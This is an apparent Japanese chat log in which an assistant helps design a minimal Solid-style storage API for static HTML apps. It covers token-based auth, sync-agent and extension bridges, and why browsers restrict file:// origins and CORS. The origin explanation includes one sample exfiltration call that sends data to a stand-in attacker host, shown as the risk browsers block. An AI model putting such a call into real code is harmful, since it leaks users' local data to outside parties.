Solidのストレージ思想を、もっとかんたんに実現したい。このようなストレージサービスを A とする。 たとえば次のようにしてかんたんにアプリをつくれる。
これだけで todo.html はデータの扱い含めて動作する。todo.html はローカルでブラウザで開いても動くし、github pages など静的サイトでも動く。
可能です。Solidの「アプリとストレージの分離」のエッセンスだけを残して、もっと単純なストレージサービスAとして再設計すると、提示の体験(ローカルHTMLでもGitHub Pagesでも動く、DB不要、保存先は“storage name + secret key”だけ)は作れます。
ただし成立させるために、何を“分離”として保証するかと、ブラウザ制約(CORS・秘密鍵の扱い)を最初に決める必要があります。以下、実現のための最小設計案を具体化します。
これは“ログインのないPod”みたいなものになります。用途(個人用、少人数共有、プロトタイピング)ならかなり現実的です。
storageNameブラウザから直接叩けるように CORS必須。
GET /v1/s/{storageName}/obj/{path} 取得PUT /v1/s/{storageName}/obj/{path} 保存(上書き)DELETE /v1/s/{storageName}/obj/{path} 削除GET /v1/s/{storageName}/list?prefix=... 一覧POST /v1/s/{storageName}/obj/ 新規作成(サーバー側でID採番)認可は例えば:
Authorization: Bearer <secretKey>(推奨。URLに鍵を入れない)?key=... でも可能だが、ログ・リファラで漏れやすいので非推奨todo.json(構造化データ)files/...(添付などバイナリ)ローカル file:// から外部APIへfetchするのは、ブラウザによって制約が厳しいです(特にChrome系)。
実現方法は3つあります:
todo.html をローカルでも http://localhost で配信して開く
python -m http.server 等でOK許容: ブラウザ拡張や起動フラグで制約を緩める(一般配布には不向き)
todo.html をAのドメインから開く(=Aがホスティングも兼ねる)
結論:GitHub Pages等の静的ホスティングで動くは比較的簡単。file://直開き対応は“追加条件”になります。
あなたの方式は便利ですが、SolidがわざわざOIDC/同意/委譲を入れている理由でもある落とし穴があります。
あなたの要件に沿って、体験が良くて実装も軽い落としどころ:
readToken(公開してもよい/共有用)writeToken(秘密)storageName と writeToken を入力これで「Solidっぽい分離」と「現実的な安全性」のバランスが取れます。
この4点が分かれば、API設計(エンドポイント、トークン形式、CORS、データモデル)を“最小で動く”ところまで具体的に提案できます。
ファイル直開きは必須です。デスクトップアプリを、html で実装した + データを A に保存するものと捉えてください。
可能です。ただし「ファイル直開き(file://)必須」という条件が付くと、ブラウザのセキュリティ制約のせいで、単純な fetch("https://A/...") では動かない(または環境依存になる)点だけは避けられません。なので、設計は次のどちらかになります。
file://必須で成立する構成は2択todo.local.json)だけを読み書きfile:// 制約に引っかからず、堅牢で、鍵もブラウザに露出しませんSolidの思想(アプリとストレージ分離)も保てます:アプリはローカル静的HTML、データはA、同期レイヤーだけ別。
体験:「HTMLをダブルクリックで起動 → 普通に使える → 裏でAに同期」
todo.local.json(常にこれが正)/storages/{name}/todo.json(同期先)この方式なら、Aは普通のHTTPストレージでOK(CORSすら不要な場合もある:同期エージェントがサーバーサイドHTTPを叩くため)。
file://から外部に安全にアクセスできないなら、ブラウザの外側にブリッジを作ります。
代表例:
1) カスタムURLスキーム(例:a://storageName/path?...)
location.href = "a://put?..." のように呼び出すa://callback?... みたいに返す2) ブラウザ拡張(Chrome Extension / Firefox Add-on)
window.postMessage 等で拡張へ依頼file://でも比較的作りやすい(ただし配布が拡張前提)3) (限定的)CORS + file origin許可に依存
file:// は“ユニークオリジン”扱いで、ブラウザが外部通信やCORSを厳しく制限することがあるfetch が通っても、secret keyをHTML/JSで扱うので漏洩面(XSS/端末奪取/ログ等)が厳しいfile://運用ではより顕在化します「デスクトップアプリをHTMLで実装し、データをAに保存」という捉え方なら、
が、実装難度と運用の安定性のバランスが一番良いです。Electronのような巨大ランタイム無しでも、Go/Rustで小さい同期バイナリを同梱できます。
1) 「HTML“だけ”で完結(外部バイナリ/拡張なし)」が必須ですか?
2) オフラインでも使える必要はありますか?(あるならローカル正本+同期が最適)
この2点が分かれば、AのAPI(ETag/差分/暗号化の要否)と、最小の同期方式(片方向/双方向、衝突解決)まで具体案を出します。
file:// プロトコルってそんな CORS 厳しいんですか?なぜですか。
厳しいです。というより CORSというより「file:// は Web の“オリジン”モデルにうまく乗らないので、ブラウザが危険側に倒して制限する」のが本質です。
ブラウザは基本的に「同一オリジンポリシー(SOP)」で、ある“出自(origin)”のページが別の“出自”へアクセスできるかを管理します。
https://example.com の origin は明確(scheme/host/port)file:// は host/port の概念が薄く、OSのファイルパスが絡むため、origin を安全に定義しづらい
file:// が同一オリジン」だと、PC内の別フォルダのHTMLが互いに読めて危険このため多くのブラウザは file:// を opaque origin(不透明オリジン) や ユニークオリジン 相当として扱い、通常のWebページより強い制限をかけます。
file:// はユーザーのローカルファイルに直接触れられる入口なので、もしネットワークアクセスが緩いと危険が増えます。
典型的にブラウザが避けたいのは次です:
fetch("https://attacker.example/collect", { body: ... }) のように外部送信実際には「ローカルファイルをJSで自由に読む」こと自体は多くのブラウザで禁止/制限されていますが、歴史的経緯や実装差、周辺API(画像読み込み・リンク辿り・例外的に許可されるケース等)を踏み台にした事故が起きやすいので、file:// からのネットワーク通信や他オリジン連携を保守的に絞る実装になりがちです。
CORSは「あるorigin(例 https://app.example)から別origin(例 https://api.example)にXHR/fetchする時、相手が許可したら読める」という仕組みです。
でも file:// の場合:
Origin ヘッダが null になる(または付かない)ことがあるAccess-Control-Allow-Origin: * でも通る場合/通らない場合があり、挙動が環境差になりやすいnull origin は危険」として追加でブロックすることがあるつまり 「AがCORS許可すればOK」になりにくく、ブラウザ実装・設定依存になりやすいのが問題です。
file:// は“Webアプリ”というより“ローカルファイル閲覧”の文脈なので、ブラウザは安全のため強く制限するfile:// 直開き + 外部ストレージAPIへfetch は「動く環境もあるが、一般配布の前提にしにくい」になりがちもし「あなたの環境(対象ブラウザ/OS)ではどこまで可能か」を確定したいなら、ターゲット(Chrome/Edge/Firefox/Safari、OS)を教えてください。その組み合わせで現実に通るパターン(Origin:null の扱い、必要ヘッダ、失敗しやすい条件)を具体的に整理できます。